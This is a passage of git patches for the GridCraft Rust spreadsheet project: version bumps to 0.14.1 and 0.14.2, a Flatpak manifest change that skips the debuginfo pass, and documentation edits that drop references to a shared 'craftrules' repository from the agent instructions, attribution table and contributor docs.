-version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-core", ] [[package]] name = "gridcraft-pdf" -version = "0.14.0" +version = "0.14.1" [[package]] name = "gridcraft-ui-egui" -version = "0.14.0" +version = "0.14.1" dependencies = [ "craft-ui", "craft-update", @@ -2105,7 +2105,7 @@ dependencies = [ [[package]] name = "gridcraft-web" -version = "0.14.0" +version = "0.14.1" dependencies = [ "eframe", "egui", @@ -2122,7 +2122,7 @@ dependencies = [ [[package]] name = "gridcraft-xlsx" -version = "0.14.0" +version = "0.14.1" dependencies = [ "aes", "gridcraft-core", @@ -6403,7 +6403,7 @@ checksum = "e450f9b2ed1dff33c94c12589a87338689467b9c4f5d8a5710bd09a847d2c8a7" [[package]] name = "xtask" -version = "0.14.0" +version = "0.14.1" dependencies = [ "gridcraft-engine", "serde_json", diff --git a/Cargo.toml b/Cargo.toml index fb933b09b..1dbbeff47 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ members = ["crates/*", "apps/*", "xtask"] default-members = ["crates/*", "apps/gridcraft", "apps/gridcraft-cli", "xtask"] [workspace.package] -version = "0.14.0" +version = "0.14.1" edition = "2024" license = "MIT OR Apache-2.0" rust-version = "1.95" From 1f73f62c4f86ad7ab34f584fde0a9afb0b29c706 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 23:25:28 -0400 Subject: [PATCH 120/298] Flatpak bundle: skip the debuginfo pass manifest-wide (runner has no eu-strip) Co-Authored-By: Claude Opus 5.5 --- .../linux/flatpak/ai.storyteller.gridcraft.bundle.yml | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml index e0c7ccece..5926f32f7 100644 --- a/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml +++ b/packaging/linux/flatpak/ai.storyteller.gridcraft.bundle.yml @@ -41,16 +41,17 @@ finish-args: - --filesystem=xdg-documents - --filesystem=xdg-download # Network: update checks reach GitHub. Home/host filesystem access is deliberately not granted. +# The release runner's flatpak-builder has no eu-strip (elfutils), which its debuginfo pass runs +# on cups-client's unstripped tools, in whichever module comes first after they're installed. The +# app's own binaries come from the release tarball, already stripped. +build-options: + no-debuginfo: true modules: # CUPS client tools for craft-print: the runtime has libcups but not lpstat/lp/lpoptions. # Linked statically against this release's libcups, so a runtime update can't break them; # the socket path matches the host's, which --socket=cups mounts. - name: cups-client buildsystem: simple - # The release runner's flatpak-builder has no eu-strip (elfutils), which the debuginfo pass - # runs on every binary this module compiles. - build-options: - no-debuginfo: true build-commands: - ./configure --prefix=/app --sysconfdir=/etc --localstatedir=/var --with-rundir=/run/cups --with-domainsocket=/run/cups/cups.sock --disable-shared --with-components=libcups From 55850841d39f030fb42f0a07e54903decea7b067 Mon Sep 17 00:00:00 2001 From: Brandon Thomas Date: Fri, 30 Oct 2026 23:25:30 -0400 Subject: [PATCH 121/298] Release 0.14.2 Co-Authored-By: Claude Opus 5.5 --- Cargo.lock | 32 ++++++++++++++++---------------- Cargo.toml | 2 +- 2 files changed, 17 insertions(+), 17 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 3e408c178..c72e9ef2b 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1936,7 +1936,7 @@ dependencies = [ [[package]] name = "gridcraft" -version = "0.14.1" +version = "0.14.2" dependencies = [ "arboard", "chrono", @@ -1963,7 +1963,7 @@ dependencies = [ [[package]] name = "gridcraft-calc" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -1975,7 +1975,7 @@ dependencies = [ [[package]] name = "gridcraft-chart" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-calc", "gridcraft-core", @@ -1986,7 +1986,7 @@ dependencies = [ [[package]] name = "gridcraft-cli" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-engine", "gridcraft-mcp", @@ -1998,7 +1998,7 @@ dependencies = [ [[package]] name = "gridcraft-core" -version = "0.14.1" +version = "0.14.2" dependencies = [ "chrono", "js-sys", @@ -2009,7 +2009,7 @@ dependencies = [ [[package]] name = "gridcraft-engine" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-calc", "gridcraft-chart", @@ -2031,7 +2031,7 @@ dependencies = [ [[package]] name = "gridcraft-formula" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-core", "serde", @@ -2040,7 +2040,7 @@ dependencies = [ [[package]] name = "gridcraft-functions" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-core", "regex", @@ -2048,7 +2048,7 @@ dependencies = [ [[package]] name = "gridcraft-mcp" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-engine", "log", @@ -2057,7 +2057,7 @@ dependencies = [ [[package]] name = "gridcraft-model" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-core", "gridcraft-formula", @@ -2069,18 +2069,18 @@ dependencies = [ [[package]] name = "gridcraft-numfmt" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-core", ] [[package]] name = "gridcraft-pdf" -version = "0.14.1" +version = "0.14.2" [[package]] name = "gridcraft-ui-egui" -version = "0.14.1" +version = "0.14.2" dependencies = [ "craft-ui", "craft-update", @@ -2105,7 +2105,7 @@ dependencies = [ [[package]] name = "gridcraft-web" -version = "0.14.1" +version = "0.14.2" dependencies = [ "eframe", "egui", @@ -2122,7 +2122,7 @@ dependencies = [ [[package]] name = "gridcraft-xlsx" -version = "0.14.1" +version = "0.14.2" dependencies = [ "aes", "gridcraft-core", @@ -6403,7 +6403,7 @@ checksum = "e450f9b2ed1dff33c94c12589a87338689467b9c4f5d8a5710bd09a847d2c8a7" [[package]] name = "xtask" -version = "0.14.1" +version = "0.14.2" dependencies = [ "gridcraft-engine", "serde_json", diff --git a/Cargo.toml b/Cargo.toml index 1dbbeff47..9594d48ff 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -4,7 +4,7 @@ members = ["crates/*", "apps/*", "xtask"] default-members = ["crates/*", "apps/gridcraft", "apps/gridcraft-cli", "xtask"] [workspace.package] -version = "0.14.1" +version = "0.14.2" edition = "2024" license = "MIT OR Apache-2.0" rust-version = "1.95" From 5f7137ca01f4147913f3ddff728e2853d9f9bf3d Mon Sep 17 00:00:00 2001 From: aiongg Date: Sat, 31 Oct 2026 04:17:38 +0000 Subject: [PATCH 122/298] docs: tidy agent, contributor and asset docs --- AGENTS.md | 15 ++++------- ATTRIBUTION.md | 18 ++++++------- CLAUDE.md | 10 +++----- ROADMAP.md | 2 +- assets/app-icon/README.md | 2 +- assets/app-icon/gridcraft.svg | 2 +- .../apps/ai.storyteller.gridcraft.svg | 2 +- contributors/people.toml | 7 ++---- crates/ui-egui/build.rs | 7 +++--- crates/ui-egui/src/credits.rs | 3 +-- docs/contributors.md | 25 +++---------------- docs/file-format-parity.md | 2 +- docs/release-playbook.md | 9 ------- docs/releasing.md | 8 +++--- 14 files changed, 36 insertions(+), 76 deletions(-) delete mode 100644 docs/release-playbook.md diff --git a/AGENTS.md b/AGENTS.md index 42acddadb..e4fcf5570 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -2,8 +2,6 @@ GridCraft is a clean-room, open-source, Rust-native spreadsheet targeting Microsoft Excel parity — and superiority (speed, openness, agent control). It runs natively on macOS, Windows, Linux and BSD, and on the web via WASM. Siblings with the same conventions: `../designcraft` (InDesign-class, the closest reference), `../photocraft` (Photoshop), `../vectorcraft` (Illustrator), `../pdfcraft` (Acrobat), `../filmcraft` (Premiere), `../lightcraft` (Lightroom), `../effectcraft` (After Effects). -Standards and learnings shared across the crafting apps live in `../../craftrules` (checked out next to the craft apps, or `storytold/craftrules`). Read its `AGENTS.md` at the start of a session, follow its standards, and contribute reusable learnings back there. Never code: repos don't share code. - ## Start every session here 1. Read `plan/STATUS.md` (current milestone, next task), then the task in `plan/execution-plan.md` and the relevant `plan/architecture.md` section. Behaviour reference: `plan/excel/*.md` (`observed-ui.md` holds measured observations of the running app). 2. Follow the autonomous operation protocol (`plan/execution-plan.md` §7). Don't stop to ask unless §7 lists the decision as the user's. @@ -20,7 +18,7 @@ Standards and learnings shared across the crafting apps live in `../../craftrule - The ArtCraft brand files in `docs/brand/` are ArtCraft trademarks under `docs/brand/LICENSE-brand.txt`, the one exception. ## Never crash -People trust GridCraft with their numbers; a crash loses their work. **This outranks feature work.** Standard: [`craftrules/standards/never-crash.md`](https://github.com/storytold/craftrules/blob/main/standards/never-crash.md). +People trust GridCraft with their numbers; a crash loses their work. **This outranks feature work.** - **No panics in non-test code:** no `unwrap()`, `expect()`, `panic!`, `unreachable!`, `todo!`, `unimplemented!`; no `unsafe` (`unsafe_code = "forbid"`). - **Errors are `Result`** through the crate's error type and `?`. - **Input-derived numbers are hostile** (files, formulas, commands, MCP/control params): validate indexes and ranges before access, use checked access when validity is not established, use checked/saturating arithmetic, and cap input-sized allocations (huge ranges, `REPT`, `SEQUENCE`, whole-column references). @@ -31,8 +29,8 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr ## Non-negotiables - **Clean-room.** Microsoft Excel is installed on the dev machine and may be *observed* black-box: run it, use its UI with synthetic workbooks, take screenshots (by window id) stored only under `plan/excel/screenshots/`. Never read, disassemble or copy anything inside the Office bundle, never commit files produced by Excel, never copy GPL/AGPL/LGPL code (LibreOffice, Gnumeric…). Function behaviour comes from public documentation and observation. -- **Fonts live in [`storytold/craft-fonts`](https://github.com/storytold/craft-fonts)**, never in this repo. It is an optional build input (`CRAFT_FONTS_DIR`); without it the app uses system fonts and egui's defaults. Standard: craftrules `standards/fonts.md`. -- **Test corpora** (real Excel-authored files) live in a separate corpus repo, fetched pinned and sha256-verified (craftrules `standards/test-corpora.md`). Never commit large binary fixtures; build test workbooks in code. +- **Fonts live in [`storytold/craft-fonts`](https://github.com/storytold/craft-fonts)**, never in this repo. It is an optional build input (`CRAFT_FONTS_DIR`); without it the app uses system fonts and egui's defaults. +- **Test corpora** (real Excel-authored files) live in a separate corpus repo, fetched pinned and sha256-verified. Never commit large binary fixtures; build test workbooks in code. - **Everything is a command.** User-visible behaviour = a command in `crates/engine/src/cmd/*` (id, label, ribbon path, shortcut, params doc, `enabled`, `run`) + tests. Ids follow Excel's ribbon (`home.bold`, `insert.chart`, `data.sortAscending`) plus primitives (`cell.set`, `selection.set`, `range.setValues`). UI-only commands live in `crates/ui-egui`. The control channel, CLI and MCP reach all of them. - **Programmatic calls never open dialogs**: a command with empty params runs with defaults or returns an error; only menu-style invocation opens a dialog (`UiRequest::Dialog`). - **Layering** is enforced by `cargo xtask layers`: `core`/`numfmt` (L0) → `formula`/`functions` (L1) → `model`/`calc`/`xlsx` (L2) → `chart` (L3) → `engine` (L5) → `ui-egui`/`mcp` (L6) → `apps/*` (L7). Nothing below L6 depends on egui/eframe/winit/rfd. **The UI crate is swappable.** @@ -51,7 +49,7 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr - Parallel agents: separate `CARGO_TARGET_DIR` per agent; edit only the crates you own; delete your target dir when done. ## Roadmap -`ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It follows craftrules `standards/progress-docs.md` and points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`. +`ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`. ## Contributor credits (About window) @@ -62,14 +60,11 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr username has a `[people.]` entry in `contributors/people.toml`. If not, ask them once whether they want to be credited by more than their username: a real name, a display name, and/or their public GitHub profile name (`sync_github_name = true`). If yes, add **only their own** entry - (copy the template at the top of the file, or run - `python3 ../../craftrules/scripts/contributors.py --add-me . --real-name "…" --sync-github-name`) + (copy the template at the top of the file) and include it in their PR, committed as them. If no, change nothing: they are credited as `@username` anyway. - Never add, edit, guess or copy anyone else's entry or name (not from git config, commit authors or GitHub profiles). Never hand-edit `contributors.json`. -- Maintainers refresh the stats with `python3 ../../craftrules/scripts/contributors.py .` (it also - re-verifies who wrote each `people.toml` entry; `--check` only verifies). ## CI workflows - Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here. diff --git a/ATTRIBUTION.md b/ATTRIBUTION.md index a1e4d8fbc..c93a94891 100644 --- a/ATTRIBUTION.md +++ b/ATTRIBUTION.md @@ -12,15 +12,15 @@ Generated-in-code art is original and has no file to list: the UI icon set (`cra | `epaint_default_fonts::HACK_REGULAR` (dependency font input) | Source Foundry Authors (Hack; DejaVu and Bitstream Vera foundations) | [egui 6d518fc](https://github.com/storytold/egui/tree/6d518fc799681571963842f95b55a6b68431b15a/crates/epaint_default_fonts/fonts), [Hack](https://github.com/source-foundry/Hack) | MIT + Bitstream Vera License (full upstream texts in `NOTICE`) | Hack-Regular.ttf is egui's bundled monospace face and GridCraft's last-resort symbol fallback. Dependency asset unmodified here, no font file copied into this repository. | | `epaint_default_fonts::NOTO_EMOJI_REGULAR` (dependency font input) | The Noto Project Authors | [egui 6d518fc](https://github.com/storytold/egui/tree/6d518fc799681571963842f95b55a6b68431b15a/crates/epaint_default_fonts/fonts), [Noto Emoji](https://fonts.google.com/noto/specimen/Noto+Emoji) | SIL Open Font License 1.1 (full upstream text in `NOTICE`) | NotoEmoji-Regular.ttf is enabled by egui's `monochrome_emoji_fonts` feature and used as the monochrome emoji fallback. Dependency asset unmodified here, no font file copied into this repository. | | `epaint_default_fonts::UBUNTU_LIGHT` (dependency font input) | Canonical Ltd. and the Ubuntu Font Family authors | [egui 6d518fc](https://github.com/storytold/egui/tree/6d518fc799681571963842f95b55a6b68431b15a/crates/epaint_default_fonts/fonts), [Ubuntu font](https://design.ubuntu.com/font) | Ubuntu Font Licence 1.0 (full upstream text in `NOTICE`) | Ubuntu-Light.ttf is egui's default proportional face. Dependency asset unmodified here, no font file copied into this repository. | -| `docs/brand/artcraft-logo.svg` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms (`docs/brand/LICENSE-brand.txt`) | Trademark, not open source | -| `docs/brand/artcraft-logo.png` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-logo-white.svg` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-logo-white.png` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-mark.svg` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-mark.png` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-mark-black.svg` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/artcraft-mark-black.png` | ArtCraft Team | craftrules `assets/brand/` | ArtCraft brand terms | Trademark | -| `docs/brand/LICENSE-brand.txt` | (licence text) | craftrules | — | | +| `docs/brand/artcraft-logo.svg` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms (`docs/brand/LICENSE-brand.txt`) | Trademark, not open source | +| `docs/brand/artcraft-logo.png` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-logo-white.svg` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-logo-white.png` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-mark.svg` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-mark.png` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-mark-black.svg` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/artcraft-mark-black.png` | ArtCraft Team | ArtCraft brand kit | ArtCraft brand terms | Trademark | +| `docs/brand/LICENSE-brand.txt` | (licence text) | project | — | | | `assets/app-icon/gridcraft.svg` | GridCraft contributors | original (hand-written SVG; `packaging/icons.sh`) | MIT OR Apache-2.0 (`assets/app-icon/LICENSE.txt`) | PLACEHOLDER app icon (ledger page); replaced by the owner's creature art later | | `packaging/macos/dmg/background.svg` | @XusBadia | original (hand-written SVG, derived from the GridCraft app icon `assets/app-icon/gridcraft.svg`, referenced via ``, not copied; text is outlined glyph paths; `packaging/macos/dmg/generate.py` renders it to `background.tiff`) | MIT OR Apache-2.0 (`LICENSE-MIT`, `LICENSE-APACHE`) | GridCraft macOS DMG window background for the Finder window; added 2026-10-08 | | `packaging/macos/dmg/background.tiff` | @XusBadia | Rendered from `packaging/macos/dmg/background.svg` by `packaging/macos/dmg/generate.py` | MIT OR Apache-2.0 (`LICENSE-MIT`, `LICENSE-APACHE`) | 1x + 2x HiDPI TIFF for the macOS DMG window; includes the app icon (see its row) and LittleCMS's built-in sRGB profile ("No copyright, use freely") | diff --git a/CLAUDE.md b/CLAUDE.md index 1d316750c..3297f122a 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -2,8 +2,6 @@ GridCraft is a clean-room, open-source, Rust-native spreadsheet targeting Microsoft Excel parity — and superiority (speed, openness, agent control). It runs natively on macOS, Windows, Linux and BSD, and on the web via WASM. Siblings with the same conventions: `../designcraft` (InDesign-class, the closest reference), `../photocraft` (Photoshop), `../vectorcraft` (Illustrator), `../pdfcraft` (Acrobat), `../filmcraft` (Premiere), `../lightcraft` (Lightroom), `../effectcraft` (After Effects). -Standards and learnings shared across the crafting apps live in `../../craftrules` (checked out next to the craft apps, or `storytold/craftrules`). Read its `AGENTS.md` at the start of a session, follow its standards, and contribute reusable learnings back there. Never code: repos don't share code. - ## Start every session here 1. Read `plan/STATUS.md` (current milestone, next task), then the task in `plan/execution-plan.md` and the relevant `plan/architecture.md` section. Behaviour reference: `plan/excel/*.md` (`observed-ui.md` holds measured observations of the running app). 2. Follow the autonomous operation protocol (`plan/execution-plan.md` §7). Don't stop to ask unless §7 lists the decision as the user's. @@ -20,7 +18,7 @@ Standards and learnings shared across the crafting apps live in `../../craftrule - The ArtCraft brand files in `docs/brand/` are ArtCraft trademarks under `docs/brand/LICENSE-brand.txt`, the one exception. ## Never crash -People trust GridCraft with their numbers; a crash loses their work. **This outranks feature work.** Standard: [`craftrules/standards/never-crash.md`](https://github.com/storytold/craftrules/blob/main/standards/never-crash.md). +People trust GridCraft with their numbers; a crash loses their work. **This outranks feature work.** - **No panics in non-test code:** no `unwrap()`, `expect()`, `panic!`, `unreachable!`, `todo!`, `unimplemented!`; no `unsafe` (`unsafe_code = "forbid"`). - **Errors are `Result`** through the crate's error type and `?`. - **Input-derived numbers are hostile** (files, formulas, commands, MCP/control params): `get()` instead of indexing, checked/saturating arithmetic, cap input-sized allocations (huge ranges, `REPT`, `SEQUENCE`, whole-column references). @@ -31,8 +29,8 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr ## Non-negotiables - **Clean-room.** Microsoft Excel is installed on the dev machine and may be *observed* black-box: run it, use its UI with synthetic workbooks, take screenshots (by window id) stored only under `plan/excel/screenshots/`. Never read, disassemble or copy anything inside the Office bundle, never commit files produced by Excel, never copy GPL/AGPL/LGPL code (LibreOffice, Gnumeric…). Function behaviour comes from public documentation and observation. -- **Fonts live in [`storytold/craft-fonts`](https://github.com/storytold/craft-fonts)**, never in this repo. It is an optional build input (`CRAFT_FONTS_DIR`); without it the app uses system fonts and egui's defaults. Standard: craftrules `standards/fonts.md`. -- **Test corpora** (real Excel-authored files) live in a separate corpus repo, fetched pinned and sha256-verified (craftrules `standards/test-corpora.md`). Never commit large binary fixtures; build test workbooks in code. +- **Fonts live in [`storytold/craft-fonts`](https://github.com/storytold/craft-fonts)**, never in this repo. It is an optional build input (`CRAFT_FONTS_DIR`); without it the app uses system fonts and egui's defaults. +- **Test corpora** (real Excel-authored files) live in a separate corpus repo, fetched pinned and sha256-verified. Never commit large binary fixtures; build test workbooks in code. - **Everything is a command.** User-visible behaviour = a command in `crates/engine/src/cmd/*` (id, label, ribbon path, shortcut, params doc, `enabled`, `run`) + tests. Ids follow Excel's ribbon (`home.bold`, `insert.chart`, `data.sortAscending`) plus primitives (`cell.set`, `selection.set`, `range.setValues`). UI-only commands live in `crates/ui-egui`. The control channel, CLI and MCP reach all of them. - **Programmatic calls never open dialogs**: a command with empty params runs with defaults or returns an error; only menu-style invocation opens a dialog (`UiRequest::Dialog`). - **Layering** is enforced by `cargo xtask layers`: `core`/`numfmt` (L0) → `formula`/`functions` (L1) → `model`/`calc`/`xlsx` (L2) → `chart` (L3) → `engine` (L5) → `ui-egui`/`mcp` (L6) → `apps/*` (L7). Nothing below L6 depends on egui/eframe/winit/rfd. **The UI crate is swappable.** @@ -50,7 +48,7 @@ People trust GridCraft with their numbers; a crash loses their work. **This outr - Parallel agents: separate `CARGO_TARGET_DIR` per agent; edit only the crates you own; delete your target dir when done. ## Roadmap -`ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It follows craftrules `standards/progress-docs.md` and points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`. +`ROADMAP.md` (committed) is the one-page summary: stage, headline numbers, dimensions, languages, progress log. It points at the detail in `docs/`: `target-app-parity.md` (authoritative assessment), `gaps.md` (ranked work list: pick from it), `roadmap.md` (current focus, beta gates, milestones), `architecture.md`, and the area checklists `function-parity.md`, `chart-parity.md`, `file-format-parity.md`, `ui-parity.md`, `hardware-parity.md`, `localization-parity.md`. Update the affected docs (and their timestamp lines and revision history) whenever work lands. `cargo xtask parity` regenerates `docs/parity-checklist.md` from `crates/engine/src/catalog.rs`. ## CI workflows - Workflows in `.github/workflows/` call the shared workflows in [`storytold/craft-common-actions`](https://github.com/storytold/craft-common-actions) at `@main`, with their inputs and secrets. No other jobs: if no shared workflow does what's needed, it doesn't go here. diff --git a/ROADMAP.md b/ROADMAP.md index 3d1a1d0d8..887df3f0c 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -233,7 +233,7 @@ Ranked; estimates in Opus 5.5 agent-hours. Detail and the full beta-gate list in | 2026-10-11 | PivotCharts (`insert.pivotChart`): charts bound to a PivotTable's report, following refreshes and layout changes (#311) | | 2026-10-11 | FORECAST.ETS, FORECAST.ETS.CONFINT, FORECAST.ETS.SEASONALITY, FORECAST.ETS.STAT: AAA exponential smoothing forecasts (#314) | | 2026-10-11 | File tab Backstage view (Home, New, Open, Info, Save As, Print preview, Export, Options) and `file.options` (#174) | -| 2026-10-10 | Ribbon translated into Japanese, Chinese, Korean, Brazilian Portuguese and Russian with system-language default (#31, #104, #82); CJK/Thai/Hebrew font fallback (#38); clear messages for encrypted and `.xls` files (#17); smooth line charts (#62). Progress docs restructured to the craftrules standard; full re-measure (this page). Initial ribbon key tips (#43), in-place text box editing (#84), copy as HTML table (#36). ODS and XLSB data import (#100, #101); recalc linear in the number of range formulas (#66); RISC-V Linux build; Flatpak repository on Pages; web cell-commit trap fixed | +| 2026-10-10 | Ribbon translated into Japanese, Chinese, Korean, Brazilian Portuguese and Russian with system-language default (#31, #104, #82); CJK/Thai/Hebrew font fallback (#38); clear messages for encrypted and `.xls` files (#17); smooth line charts (#62). Progress docs restructured; full re-measure (this page). Initial ribbon key tips (#43), in-place text box editing (#84), copy as HTML table (#36). ODS and XLSB data import (#100, #101); recalc linear in the number of range formulas (#66); RISC-V Linux build; Flatpak repository on Pages; web cell-commit trap fixed | | 2026-10-09 | Community fixes: spill range operator `A1#`, sheet-scoped names, protection refuses locked-cell edits, Insert/Delete Cells adjust references, `DATE(1900,2,29)`, SUMIF sizing, `ROUND` at 15 digits, `_xlpm.` LAMBDA parameters in XLSX, vertical scrollbar, system appearance, border previews; v0.4.0 | | 2026-10-08 | v0.2.0 and v0.3.0 releases; Flatpak, AppImage zsync, branded DMG; desktop log file; DirectX 12 default on Windows | | 2026-10-07 | About window with contributor and model credits; macOS release runner | diff --git a/assets/app-icon/README.md b/assets/app-icon/README.md index fdf0b0e09..349dcfd5a 100644 --- a/assets/app-icon/README.md +++ b/assets/app-icon/README.md @@ -1,7 +1,7 @@ # GridCraft app icon (PLACEHOLDER) **This icon is temporary.** Every Crafting App's icon is an engraved creature portrait that the -product owner makes (craftrules `standards/icon-design.md`); GridCraft's hasn't been made yet. +product owner makes; GridCraft's hasn't been made yet. Until it is, this placeholder stands in: a simple ledger page with a header row, a row-number column, a selected cell with its fill handle and a double rule under a total, on a full-bleed GridCraft-green tile. It is original geometry written by hand for this repository, deliberately diff --git a/assets/app-icon/gridcraft.svg b/assets/app-icon/gridcraft.svg index fd53f9e1b..38e3e802a 100644 --- a/assets/app-icon/gridcraft.svg +++ b/assets/app-icon/gridcraft.svg @@ -1,7 +1,7 @@ diff --git a/assets/app-icon/hicolor/scalable/apps/ai.storyteller.gridcraft.svg b/assets/app-icon/hicolor/scalable/apps/ai.storyteller.gridcraft.svg index fd53f9e1b..38e3e802a 100644 --- a/assets/app-icon/hicolor/scalable/apps/ai.storyteller.gridcraft.svg +++ b/assets/app-icon/hicolor/scalable/apps/ai.storyteller.gridcraft.svg @@ -1,7 +1,7 @@ diff --git a/contributors/people.toml b/contributors/people.toml index 6f7327033..0e5b14ca4 100644 --- a/contributors/people.toml +++ b/contributors/people.toml @@ -1,13 +1,10 @@ -# Contributor names for the About window (craftrules standards/contributors.md). +# Contributor names for the About window. # # Everyone who contributes is credited by GitHub username automatically. Anything more is up to # you: add YOUR OWN entry below, in your own PR (commit it yourself). Never add someone else; a # maintainer may add a person only when that person asked, recording where in consent_source. # -# Easiest: python3 ../../craftrules/scripts/contributors.py --add-me . \ -# [--real-name "Ada Lovelace"] [--display-name "Ada"] [--sync-github-name] -# -# Or copy this block, replacing your-github-username (every field is optional): +# Copy this block, replacing your-github-username (every field is optional): # # [people.your-github-username] # real_name = "Your Name" # shown when the viewer picks "Real name" diff --git a/crates/ui-egui/build.rs b/crates/ui-egui/build.rs index 07ab18a23..0c5dbf3e8 100644 --- a/crates/ui-egui/build.rs +++ b/crates/ui-egui/build.rs @@ -1,8 +1,7 @@ -//! Bake the contributor credits into the binary as static Rust tables (craftrules -//! standards/contributors.md). Nothing is read at run time. +//! Bake the contributor credits into the binary as static Rust tables. Nothing is read at run time. //! -//! - contributors/contributors.json: commit stats per GitHub username, generated by craftrules -//! scripts/contributors.py, which also marks whose people.toml entry it verified. +//! - contributors/contributors.json: commit stats per GitHub username, with a mark for whose +//! people.toml entry is verified. //! - contributors/people.toml: the names people chose for themselves. A name is used only when the //! JSON says the entry was verified (`people_entry`). //! diff --git a/crates/ui-egui/src/credits.rs b/crates/ui-egui/src/credits.rs index a20039d03..95c39a1a3 100644 --- a/crates/ui-egui/src/credits.rs +++ b/crates/ui-egui/src/credits.rs @@ -1,7 +1,6 @@ //! The About window's credits: every contributor (GitHub login always; display and real names only //! with recorded consent) and the AI models that helped. The tables are baked into the binary by -//! build.rs from contributors/contributors.json (craftrules standards/contributors.md); nothing is -//! read at run time. +//! build.rs from contributors/contributors.json; nothing is read at run time. use std::cmp::Ordering; diff --git a/docs/contributors.md b/docs/contributors.md index 811fb8548..7cb4a6240 100644 --- a/docs/contributors.md +++ b/docs/contributors.md @@ -1,16 +1,14 @@ # Contributors in the About window **About ▸ Contributors** credits everyone who contributed to GridCraft, and **About ▸ Models** credits -the AI models named in `Co-Authored-By` trailers. This follows the shared craftrules standard -[`standards/contributors.md`](https://github.com/storytold/craftrules/blob/main/standards/contributors.md); -this page is the local copy of the decision. +the AI models named in `Co-Authored-By` trailers. ## Decision - Two files, both **compiled into the binary** by the UI crate's `build.rs` (nothing is read from disk or the network at run time; the web build has them too): - [`contributors/contributors.json`](../contributors/contributors.json): commit stats per GitHub - username. **Generated** by `craftrules/scripts/contributors.py`; never hand-edit. + username. Never hand-edit. - [`contributors/people.toml`](../contributors/people.toml): the names people chose for themselves. **Each contributor adds only their own entry**, in their own PR. - Each contributor gets one line: GitHub username (always), display name (opt-in, or their synced @@ -37,20 +35,5 @@ display_name = "Nickname" sync_github_name = true # use the name on your public GitHub profile as display name ``` -or, with craftrules checked out next to `craft-apps/`: - -```sh -python3 ../../craftrules/scripts/contributors.py --add-me . --real-name "Your Name" --sync-github-name -``` - -Names show after the next refresh: the script checks that each entry was committed by its own -user (or by a maintainer with a 